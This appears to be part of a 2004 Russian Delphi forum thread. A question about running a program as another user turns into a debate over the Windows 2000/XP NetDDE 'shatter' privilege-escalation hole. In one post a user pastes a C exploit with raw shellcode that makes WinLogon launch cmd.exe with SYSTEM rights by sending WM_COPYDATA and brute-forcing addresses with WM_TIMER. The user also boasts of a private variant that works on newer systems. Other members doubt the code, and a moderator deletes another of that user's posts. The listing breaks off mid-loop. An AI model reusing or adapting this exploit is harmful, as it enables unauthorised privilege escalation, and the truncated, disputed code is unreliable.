Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Запуск программы под другим пользователем. [D6, WinXP]


Страницы:   1 2

shelest ©   (2004-10-15 10:23:00) 

Нашел темку про запуск программы под другим пользователем.
Но это запуск из проекта. А как сам проект запустить под другим пользователем? Как служба - отпадает.


VMcL   (2004-10-15 23:40:00) [1]

>> =SOFT= ©  (15.10.04 22:05) [27]

> Очень советую глянуть:
http://void.ru/content/643- Игорю Шевченко смотреть обезательно :)
а также по данной теме:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0015
http://www.microsoft.com/technet/security/bulletin/MS01-007.mspx



А сам не пробовал читать?

Affected Software:

• Microsoft Windows 2000 Professional
• Microsoft Windows 2000 Server    
• Microsoft Windows 2000 Advanced Server
• Microsoft Windows 2000 Datacenter Server

...

Installation platforms:

This patch can be installed on systems running Windows 2000 Service Pack 1 and Service Pack 2.

Inclusion in future service packs:

The fix for this issue will be included in Windows 2000 Service Pack 3.


Не так уж много найдется людей, работающих без четвертого SP, не говоря уже про третий.


Игорь Шевченко   (2004-10-15 22:15:00) [2]

=SOFT= ©   (15.10.04 22:05) [27]

Хэлп по WM_COPYDATA мне тоже не нужно рассказывать, я его знаю, чего не знаю, могу прочитать по F1 :)


> COPYDATASTRUCT cds;
> ...
> cds.cbData = 1000;
> cds.dwData = 0;
> cds.lpData=(PVOID)buf;
> ...
> SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);


Так вот, согласно посту [25], cds.lpData должна указывать на структуру вида

> 4 байта - E1 DD E1 DD
> 4 байта - 01 00 00 00
> 4 байта - 01 00 00 00
> 8 байт - 05 00 00 09 00 00 00 01 (DDE Share Mod Id)
> 4 байта - CC CC CC CC
>
> ASCIIZ - "SHARENAME$" (null terminated string: DDE Trusted
> Share Name)
> ASCIIZ - "cmd.exe" (null terminated string: DDE Server Startup
> Command)


Насколько видно из предыдущего кода (большого фрагмента на С), buf содержит совершенно другую структуру.

Вопрос: как высказывание из поста [25] (верное, кстати) совместить с тем кодом, который должен работать согласно приведенному ?


=SOFT=   (2004-10-15 22:05:00) [3]

Да, система не «поймет», что нам нужна общая проекция данных для корректировки указателей при их пересылке.
Чтобы переслать данные окну другого процесса, нужно сначала инициализиро вать эту структуру. Что мы и делаем.

...
COPYDATASTRUCT cds;
...
cds.cbData = 1000;
cds.dwData = 0;
cds.lpData=(PVOID)buf;
...
SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
...

Элемент dwData резервируется для использования в Вашей программе В него разрешается записывать любое значение. Например, передавая в другой процесс данные, в этом элементе можно указывать тип данных.
Элемент cbData задает число байтов, пересылаемых в другой процесс, a lpData указывает на первый байт данных Адрес, идентифицируемый элементом lpData, на ходится, конечно же, в адресном пространстве отправителя.
Увидев, что Вы посылаете сообщение WM_COPYDATA, SendMessage создает проекцию файла размером cbData байтов и копирует данные из адресного пространства Вашей программы в эту проекцию. Затем отправляет сообщение окну-приемнику. При обработке этого сообщения принимающей оконной процедурой параметр lParam указывает на структуру COPYDATASTRUCT, которая находится в адресном простран ствепроцесса-приемника Элемент lpData этой структуры указывает на проекцию файла в адресном пространстве процесса-приемника.

Очень советую глянуть:
http://void.ru/content/643- Игорю Шевченко смотреть обезательно:)
а также по данной теме:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0015
http://www.microsoft.com/technet/security/bulletin/MS01-007.mspx

Надеюсь этому посту больше повезет, чем [23]`му ;)))

З.Ы. За сим прошу меня извинить, но до 18.10.2004 я в инете не буду, и соответственно несмогу продолжать столь занимательную дисскусию :).
З.Ы.Ы. Итак на работе засиделси :)

Игорю Шевченко желаю удачи в соискании данной тематики! Как говорится "Ищещиму да воздастся" :) Удачи! Пока.


Игорь Шевченко   (2004-10-15 20:52:00) [4]

=SOFT= ©   (15.10.04 19:14) [25]


> НО спокойствие админов "Мастера Делфи" для меня куда важней
> :)))), так что я не обижаюсь


Надеюсь, мы друг друга поняли и правильно :)


> При обработке строки система проверяет первые 12 байт
> ....


Вот я это же самое и имел в виду.
Насколько я понял, тот буфер, который пересылается в коде, такой структуры не имеет (или я здорово проглядел ?), так каким образом обеспечивается выполнение кода того буфера ? Именно кода, так как в посте [25] сказано, что в контексе WinLogon исполняется командная строка (CMD.EXE в данном случае) ?


=SOFT=   (2004-10-15 19:14:00) [5]

Жалко конечно пост, НО спокойствие админов "Мастера Делфи" для меня куда важней :)))), так что я не обижаюсь.

Игорь Шевченко ©   (15.10.04 18:23) [24]
>....

>То есть, вот это вот утверждение для меня и неочевидно.

>Насколько я знаю, оконная процедура NetDDE в качестве параметра для WM_COPYDATA ждет вполне определенной структуры и произвольный код она выполнять не должна. (Определяется WinDbg).

При запуске Network DDE DSDM service, WINLOGON создает спрятанное окно для межпроцессного взаимодействия с различными NetDDE компонентами. С использованием "DDE Copy Data"можно добиться выполнения команд на system.
Невидимое окно класса "NDDEAgnt" создается с именем "NetDDE Agent". Одним из обрабатываемых данным окном сообщений является WM_COPYDATA.
Структура, передаваемая окну с помощью SendMessage, выглядит так:

4 байта - E1 DD E1 DD
4 байта - 01 00 00 00
4 байта - 01 00 00 00
8 байт - 05 00 00 09 00 00 00 01 (DDE Share Mod Id)
4 байта - CC CC CC CC

ASCIIZ - "SHARENAME$" (null terminated string: DDE Trusted Share Name)
ASCIIZ - "cmd.exe" (null terminated string: DDE Server Startup Command)



При обработке строки система проверяет первые 12 байт, затем конвертирует 2 аски строки в unicode. Share Mod Id сравнивается с тем, что указан в структуре, и если они равны, происходит выполнение второй строки в контексте процесса WINLOGON, то есть с system-привилегиями.

Надеюсь, я провильно тебя понял и ответил на твой вопрос?


Игорь Шевченко   (2004-10-15 18:23:00) [6]

=SOFT= ©   (15.10.04 18:02) [23]

Мне разжевывать не надо, особенно про мутексы, и процесс взлома меня совершенно не интересует, равно, как и атак.

Но вот то, что послав сообщение WM_COPYDATA с ТАКИМ вот буфером окну NetDDE можно получить такой результат


> После всего этого можно: скопировать шеллкод
> в heap область NetDDE


То есть, вот это вот утверждение для меня и неочевидно.

Насколько я знаю, оконная процедура NetDDE в качестве параметра для WM_COPYDATA ждет вполне определенной структуры и произвольный код она выполнять не должна. (Определяется WinDbg).

ЗЫ: твой предыдущий пост я потру. Без обид, нечего плодить пакостников, мы не на xakep.ru


=SOFT=   (2004-10-15 18:02:00) [7]

Удалено модератором


Игорь Шевченко   (2004-10-15 14:58:00) [8]

=SOFT= ©   (15.10.04 14:44) [21]


> Брут на наличие шелла


Ты будь любезен изъясняться так, чтобы тебя понимали. Читать я умею, еще в школе выучили. Ты сам этот код запускал ? Ты можешь сказать, что делается в приведенном мной участке, или кроме пересказа комментариев сказать нечего ?


=SOFT=   (2004-10-15 14:44:00) [9]

Игорь Шевченко ©   (15.10.04 14:01) [17]

>Что-то я не соображу, что делает этот код.
> ...
>На мой взгляд - полный бред.
>Кроме того, оконная процедура NetDDE ожидает несколько других данных в буфере для COPYDATA.

От чегоже "полный бред"?
Читай ремарки - //Try to bruteforce shellcode addresss
if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname))> != 0)
Брут на наличие шелла.

BiN ©   (15.10.04 14:07) [18]
> Да, таких шеллов действительно пруд пруди, но у меня на W2kserver  SP4 ни один из них не работает.

Мне кажится, что ты не совсем правильно понимаешь термин шелл, но  в принципе это не важно... На W2kserver SP4 испытать мне не довилось, врать не буду. Но обезательно проверю.

BiN ©   (15.10.04 14:15) [19]
> Прошу прощение за непроверенную информацию. Вот провел тест - выяснилось, что это сообщение все же посылается между приложениями разных пользователей.

А я о чем говорю, нет фильтровки по правам на сообщения! :)

> Но все равно подобные эксплоиты у меня не работают, чему я, собственно, только рад.

Спасибо Товаришь за сигнал! :)
Проверим, доработаем ... не бойтесь и у вас эксплоиты работають будут! (Шутка ;)


Игорь Шевченко   (2004-10-15 14:38:00) [10]

BiN ©   (15.10.04 14:15) [19]


> Вот провел тест - выяснилось, что это сообщение все же посылается
> между приложениями разных пользователей.


Но процедура вызывается в контексте того процесса, чьей очереди было послано сообщение WM_TIMER. Отсюда вывод, что для того, чтобы такое сработало, необходимо внедрить код в целевой процесс и передать адрес этого кода в lParam для WM_TIMER.

Собственно говоря, аналог CreateRemoteThread.

Я вот сильно сомневаюсь, что у бесправного процесса получится легко и просто внедрить код в адресное пространство привилегированного процесса.


BiN   (2004-10-15 14:15:00) [11]

BiN ©   (15.10.04 14:07) [18]
Нет, достаточно лишь изменить обработку сообщения WM_TIMER, что они и сделали. WM_Timer не пересылается между приложениями различных пользователей.



Прошу прощение за непроверенную информацию. Вот провел тест - выяснилось, что это сообщение все же посылается между приложениями разных пользователей.

Но все равно подобные эксплоиты у меня не работают, чему я, собственно, только рад


BiN   (2004-10-15 14:07:00) [12]

=SOFT=   (15.10.04 13:38) [16]

Что ты понимаешь под фразой "дыра эта уже давно закрыта", что бы ее закрыть нужно переписать технологию Вин. сообщений.


Нет, достаточно лишь изменить обработку сообщения WM_TIMER, что они и сделали. WM_Timer не пересылается между приложениями различных пользователей.

На последок скажу, что у меня есть мой личный "боевой друг", и он работает даже на 2SP for XP, но приводить код я небуду по понятным причинам :)

Да, таких шеллов действительно пруд пруди, но у меня на W2kserver  SP4 ни один из них не работает.


Игорь Шевченко   (2004-10-15 14:01:00) [13]

=SOFT=   (15.10.04 13:26) [15]

Что-то я не соображу, что делает этот код.


>  for(Addr = 0x0120fa78; Addr < 0x10000000; Addr += 0x10000)
>  {
>   //If mutex exists, shellcode has been executed
>   if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname))
> != 0)
>   {
>    //Success
>    printf("\nSuccess!!!\n");
>    printf("\nWarning! You system has vulnerability!\n");
>    CloseHandle(hMutex);
>    return;
>   }
>   printf("\rTrying at 0x%X", Addr);
>
>  SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
>  PostMessage(hWnd, WM_QUIT, 1, (LPARAM)Addr);
>  }
> }


На мой взгляд - полный бред.

Кроме того, оконная процедура NetDDE ожидает несколько других данных в буфере для COPYDATA.


=SOFT=   (2004-10-15 13:38:00) [14]

BiN ©   (15.10.04 12:43) [14]

>А дыра эта уже давно закрыта и мхом поросла. Проверено :)

Что ты понимаешь под фразой "дыра эта уже давно закрыта", что бы ее закрыть нужно переписать технологию Вин. сообщений. Мелкомягкие ее переписали???? Я так не думаю.
Они только залатали в 1 SP к XP Winlogon.
Это дело я привел только ради наглядного примера, но в умелых руках етна фича станет боевым другом :). Для "работы" я уже говорил что существует масса модификаций. Что за народ пошел, никто нехочит напряч мозги, и доработать тему дальше.
На последок скажу, что у меня есть мой личный "боевой друг", и он работает даже на 2SP for XP, но приводить код я небуду по понятным причинам :)


=SOFT=   (2004-10-15 13:26:00) [15]

VMcL ©   (15.10.04 12:16) [11]
 >>(невинно так) А CMD.EXE символов с кодом 0 случайно не содержит?

Возьми HEXEditor и посмотри :)

Игорь Шевченко ©   (15.10.04 12:19) [13]
 >> =SOFT=   (15.10.04 11:48) [8]
 >> записываешь в нее какой нибудь шелл

>Мне страшно интересно, как ты это сделаешь, не имея прав.
О каких правах ты говоришь, хватит прав учетной записи "Гость" для запуска программы, а программе права ненужны для отправки сообщений!!! Нет привилегий в сообщениях - они все равны!!!

А если серьезно то эта вещь :) называется Shattering SEH.
Дабы не долго рассуждать, привожу листинг кода. Правда он писан на С++, и глупо с моей стороны его вставлят на сайт "Мастера Делфи" :), НО что бы понять принцип, я думаю меня простят и поймут.


#include
#include

void main(int argc, char *argv[ ], char *envp[ ] )
{
char *buf;
DWORD Addr = 0;
BOOL bExec = TRUE;

unsigned char sc[] = { // my simple shellcode, it calls CreateProcess function,
      // executes cmd.exe on user`s desktop and creates mutex.
 0x8B, 0xF4,
 0x68, 0x53, 0x45, 0x52, 0x00,
 0x8B, 0xDC, 0x54, 0x6A, 0x00, 0x6A, 0x00,
 0xB8, 0xC8, 0xD7, 0xE8, 0x77, 0xFF, 0xD0, 0x8B, 0xE6,
    0x6A, 0x00, 0x68, 0x2E, 0x65, 0x78, 0x65, 0x68, 0x00,
 0x63, 0x6D, 0x64, 0x68, 0x61, 0x75, 0x6C, 0x74, 0x68, 0x5C, 0x44,
 0x65, 0x66, 0x68, 0x53, 0x74, 0x61, 0x30, 0x68, 0x00, 0x57, 0x69,
 0x6E, 0x8B, 0xD4, 0x42, 0xB9, 0x50, 0x00, 0x00, 0x00, 0x6A, 0x00,  
 0xE2, 0xFC, 0x6A, 0x44, 0x83, 0xC4, 0x0C, 0x52, 0x83, 0xEC, 0x0C,
 0x8B, 0xC4, 0x83, 0xC0, 0x10, 0x50, 0x8B, 0xC4, 0x83, 0xC0, 0x08,
 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00,
 0x6A, 0x00, 0x83, 0xC2, 0x10, 0x52, 0x6A, 0x00, 0xB8, 0x4D, 0xA4,
 0xE9, 0x77, 0xFF, 0xD0, 0x8B, 0xE6, 0xC3
};

HWND   hWnd;
COPYDATASTRUCT cds;
OSVERSIONINFO osvi;
HMODULE   hMod;
DWORD   ProcAddr;
HANDLE   hMutex;
char   mutname[4];
char aaa[200];
int n,m;
HWND h=1111;

printf("\n\n==== GetAd by Serus (serus@users.mns.ru) ====");

// Get NetDDE Window
hWnd = FindWindow("NDDEAgnt","NetDDE Agent");
if(hWnd == NULL)
{
 MessageBox(NULL, "Couldn't find NetDDE agent window", "Error", MB_OK | MB_ICONSTOP);
 return;
}

// Get CreateProcessA and CreateMutexA entry addresses
hMod = GetModuleHandle("kernel32.dll");

ProcAddr = (DWORD)GetProcAddress(hMod, "CreateProcessA");

if(ProcAddr == 0)
{
 MessageBox(NULL, "Couldn't get CreateProcessA address", "Error", MB_OK | MB_ICONSTOP);
 return;
}
*(DWORD *)(sc + 86 + 21) = ProcAddr;

ProcAddr = (DWORD)GetProcAddress(hMod, "CreateMutexA");
if(ProcAddr == 0)
{
 MessageBox(NULL, "Couldn't get CreateMutexA address", "Error", MB_OK | MB_ICONSTOP);
 return;
}
*(DWORD *)(sc + 15) = ProcAddr;

//Generate random Mutex name
srand(GetTickCount());

do
{
 mutname[0] = 97 + rand()%25;
 mutname[1] = 65 + rand()%25;
 mutname[2] = 65 + rand()%25;
 mutname[3] = 0;
}
while((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0);
memcpy(sc + 3, mutname, 4);

//Form buffer for SendMessage
buf = (char *)malloc(1000);
memset(buf, 0xC3, 1000);
memcpy(buf, sc, sizeof(sc));

cds.cbData = 1000;
cds.dwData = 0;
cds.lpData=(PVOID)buf;

//Get OS version
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(GetVersionEx(&osvi) == 0)
{
 printf("\nWarning! Couldn't get OS verson. Trying as Win2k.\n");
 osvi.dwMajorVersion = 5;
}


if(osvi.dwMajorVersion != 5)
{
 MessageBox(NULL, "This program for Win2k and WinXP only!", "Error", MB_OK | MB_ICONSTOP);
 return;
}

if(osvi.dwMinorVersion == 0)
{
 // Windows 2000

 printf("\n\nUse Windows 2000 offsets");

 //If first login
 //Send shellcode buffer
 SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
 //Try execute it at 0x0080FA78
 PostMessage(hWnd, WM_TIMER, 0, (LPARAM)0x0080FA78);

 printf("\nTrying at 0x%X", 0x0080FA78);

 //If fails (perhaps not first login)
 //Try to bruteforce shellcode addresss
 for(Addr = 0x0120fa78; Addr < 0x10000000; Addr += 0x10000)
 {
  //If mutex exists, shellcode has been executed
  if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0)
  {
   //Success
   printf("\nSuccess!!!\n");
   printf("\nWarning! You system has vulnerability!\n");
   CloseHandle(hMutex);
   return;
  }
  printf("\rTrying at 0x%X", Addr);

 SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
 PostMessage(hWnd, WM_QUIT, 1, (LPARAM)Addr);
 }
}
else
{
 // Windows XP

 printf("\n\nUse Windows XP offsets\n");

 //Try to bruteforce shellcode addresss

 for(m = 100; m


BiN   (2004-10-15 12:43:00) [16]

=SOFT=   (15.10.04 11:48) [8]

А дыра эта уже давно закрыта и мхом поросла. Проверено :)


Игорь Шевченко   (2004-10-15 12:19:00) [17]

=SOFT=   (15.10.04 11:48) [8]

Ключевое слово:
> записываешь в нее какой нибудь шелл


Мне страшно интересно, как ты это сделаешь, не имея прав.


VMcL   (2004-10-15 12:19:00) [18]

>> =SOFT=  (15.10.04 11:48) [8]

(Еще более невинно) А страница памяти, где будет находится строка с кодом шелла, откуда возьмёт тип защиты PAGE_EXECUTE?


VMcL   (2004-10-15 12:16:00) [19]

>> =SOFT=  (15.10.04 11:48) [8]

(невинно так) А CMD.EXE символов с кодом 0 случайно не содержит?


=SOFT=   (2004-10-15 11:53:00) [20]

wal ©   (15.10.04 11:50) [9]
 >Та не поверишь, но при запуске из другой программы тоже пароль знать надо.

Я не верю !!!!!!!
Как я уже говорил (см. выше) - ЭТО ПРОВЕРЕННО И РАБОТАЕТ!!!!


Страницы:   1 2

Наверх

Титульная страница Поиск, карта сайта Написать письмо